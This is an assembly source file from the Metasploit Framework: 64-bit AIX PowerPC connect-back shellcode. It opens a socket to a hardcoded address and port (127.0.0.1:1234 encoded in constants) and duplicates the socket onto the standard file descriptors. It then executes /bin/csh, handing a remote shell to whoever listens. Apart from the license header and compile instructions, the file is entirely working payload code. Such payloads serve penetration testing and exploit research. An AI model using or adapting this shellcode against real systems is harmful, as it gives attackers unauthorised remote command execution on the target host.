metasploit-framework/external/source/unixasm/aix-power-cntsockcode64.S

121 lines
2.7 KiB
ArmAsm

/*
* $Id: aix-power-cntsockcode64.S 40 2008-11-17 02:45:30Z ramon $
*
* aix-power-cntsockcode64.S - AIX Power Network connect code
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*
*/
/*
* Compile with the following command.
* $ gcc -Wall -DAIXLEVEL -m64 -o aix-power-cntsockcode64
* aix-power-cntsockcode64.S
*
* Where AIXLEVEL is one of the currently supported AIX levels.
* -DV530 AIX 5.3.0
*
*/
#include "aix-power.h"
.globl .main
.csect .text[PR]
.main:
syscallcode:
# xor. %r31,%r31,%r31
xor. %r5,%r5,%r5
bnel syscallcode
mflr %r30
cal %r30,511(%r30)
cal %r30,-511+36(%r30)
mtctr %r30
bctr
.long 0xff0204d2
.long 0x7f000001
crorc %cr6,%cr6,%cr6
.long 0x44ffff02
cal %r30,-8(%r30)
cntsockcode:
lil %r29,__CAL
# socket
# xor %r5,%r5,%r5
cal %r4,-511+1(%r29)
cal %r3,-511+2(%r29)
cal %r2,__NC_socket(%r29)
mtctr %r30
bctrl
mr %r28,%r3
# connect
cal %r5,-511+16(%r29)
cal %r4,-8(%r30)
cal %r2,__NC_connect(%r29)
mtctr %r30
bctrl
# close
cal %r27,-511+2(%r29)
0:
mr %r3,%r27
cal %r2,__NC_close(%r29)
mtctr %r30
bctrl
# kfcntl
mr %r5,%r27
xor %r4,%r4,%r4
mr %r3,%r28
cal %r2,__NC_kfcntl(%r29)
mtctr %r30
bctrl
ai. %r27,%r27,-1
bge 0b
shellcode64:
# lil %r31,__CAL
xor. %r5,%r5,%r5
bnel shellcode64
# mflr %r30
# cal %r30,511(%r30)
# cal %r3,-511+40(%r30)
# stb %r5,-511+48(%r30)
mflr %r24
cal %r24,511(%r24)
cal %r3,-511+40(%r24)
stb %r5,-511+48(%r24)
stdu %r5,-8(%r1)
stdu %r3,-8(%r1)
mr %r4,%r1
# cal %r2,__NC_execve(%r31)
cal %r2,__NC_execve(%r29)
# crorc %cr6,%cr6,%cr6
# .long 0x44ffff02
mtctr %r30
bctrl
.asciz "/bin/csh"